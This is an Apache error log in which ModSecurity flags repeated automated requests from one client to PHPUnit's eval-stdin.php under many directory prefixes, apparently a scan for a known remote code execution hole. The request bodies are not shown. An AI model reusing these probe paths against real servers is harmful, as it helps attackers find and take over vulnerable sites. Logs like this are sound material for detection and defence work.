[Fri Jul 17 10:23:10.118938 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NhyL4_TKNgi7OLI3KwAAAB4"]
[Fri Jul 17 10:23:10.119072 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NhyL4_TKNgi7OLI3KwAAAB4"]
[Fri Jul 17 10:23:10.119143 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NhyL4_TKNgi7OLI3KwAAAB4"]
[Fri Jul 17 10:23:10.119576 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NhyL4_TKNgi7OLI3KwAAAB4"]
[Fri Jul 17 10:23:10.120336 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1NhyL4_TKNgi7OLI3KwAAAB4"]
[Fri Jul 17 10:23:10.211860 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:10.331799 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:51026] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:10.471990 2026] [security2:error] [pid 2076257:tid 2076257] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NiBQrJXNVyJFnL68PgAAABU"]
[Fri Jul 17 10:23:10.472099 2026] [security2:error] [pid 2076257:tid 2076257] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NiBQrJXNVyJFnL68PgAAABU"]
[Fri Jul 17 10:23:10.472137 2026] [security2:error] [pid 2076257:tid 2076257] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NiBQrJXNVyJFnL68PgAAABU"]
[Fri Jul 17 10:23:10.472528 2026] [security2:error] [pid 2076257:tid 2076257] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NiBQrJXNVyJFnL68PgAAABU"]
[Fri Jul 17 10:23:10.473158 2026] [security2:error] [pid 2076257:tid 2076257] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1NiBQrJXNVyJFnL68PgAAABU"]
[Fri Jul 17 10:23:10.510290 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:10.699889 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:11.028237 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:11.105149 2026] [security2:error] [pid 2075723:tid 2075723] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1N0D0S6w5KyU992INQgAAAAM"]
[Fri Jul 17 10:23:11.105233 2026] [security2:error] [pid 2075723:tid 2075723] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1N0D0S6w5KyU992INQgAAAAM"]
[Fri Jul 17 10:23:11.105270 2026] [security2:error] [pid 2075723:tid 2075723] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1N0D0S6w5KyU992INQgAAAAM"]
[Fri Jul 17 10:23:11.105711 2026] [security2:error] [pid 2075723:tid 2075723] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1N0D0S6w5KyU992INQgAAAAM"]
[Fri Jul 17 10:23:11.106372 2026] [security2:error] [pid 2075723:tid 2075723] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1N0D0S6w5KyU992INQgAAAAM"]
[Fri Jul 17 10:23:11.253764 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:42876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:11.457291 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1N3HGgRvC9MVf3SzHnQAAAAI"]
[Fri Jul 17 10:23:11.457372 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1N3HGgRvC9MVf3SzHnQAAAAI"]
[Fri Jul 17 10:23:11.457419 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1N3HGgRvC9MVf3SzHnQAAAAI"]
[Fri Jul 17 10:23:11.457829 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1N3HGgRvC9MVf3SzHnQAAAAI"]
[Fri Jul 17 10:23:11.458510 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1N3HGgRvC9MVf3SzHnQAAAAI"]
[Fri Jul 17 10:23:12.091441 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1OF6LQV5zcO01IS_BOQAAAAw"]
[Fri Jul 17 10:23:12.091544 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1OF6LQV5zcO01IS_BOQAAAAw"]
[Fri Jul 17 10:23:12.091582 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1OF6LQV5zcO01IS_BOQAAAAw"]
[Fri Jul 17 10:23:12.091984 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1OF6LQV5zcO01IS_BOQAAAAw"]
[Fri Jul 17 10:23:12.092633 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1OF6LQV5zcO01IS_BOQAAAAw"]
[Fri Jul 17 10:23:12.369379 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:12.449766 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1OLUVEJ3gwrjEiOQW6AAAABA"]
[Fri Jul 17 10:23:12.449847 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1OLUVEJ3gwrjEiOQW6AAAABA"]
[Fri Jul 17 10:23:12.449902 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1OLUVEJ3gwrjEiOQW6AAAABA"]
[Fri Jul 17 10:23:12.450264 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1OLUVEJ3gwrjEiOQW6AAAABA"]
[Fri Jul 17 10:23:12.450839 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1OLUVEJ3gwrjEiOQW6AAAABA"]
[Fri Jul 17 10:23:12.496014 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:12.584695 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:12.766098 2026] [security2:error] [pid 2075780:tid 2075780] [client 151.243.11.234:49018] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "alm1OB0C3r-GF3RTNAbSzAAAAAY"]
[Fri Jul 17 10:23:14.173162 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:14.173909 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:14.179326 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:14.179736 2026] [security2:error] [pid 2075693:tid 2075693] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1On5-BwPGxupoEJk0WgAAAA0"]
[Fri Jul 17 10:23:14.179807 2026] [security2:error] [pid 2075693:tid 2075693] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1On5-BwPGxupoEJk0WgAAAA0"]
[Fri Jul 17 10:23:14.179840 2026] [security2:error] [pid 2075693:tid 2075693] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1On5-BwPGxupoEJk0WgAAAA0"]
[Fri Jul 17 10:23:14.180238 2026] [security2:error] [pid 2075693:tid 2075693] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1On5-BwPGxupoEJk0WgAAAA0"]
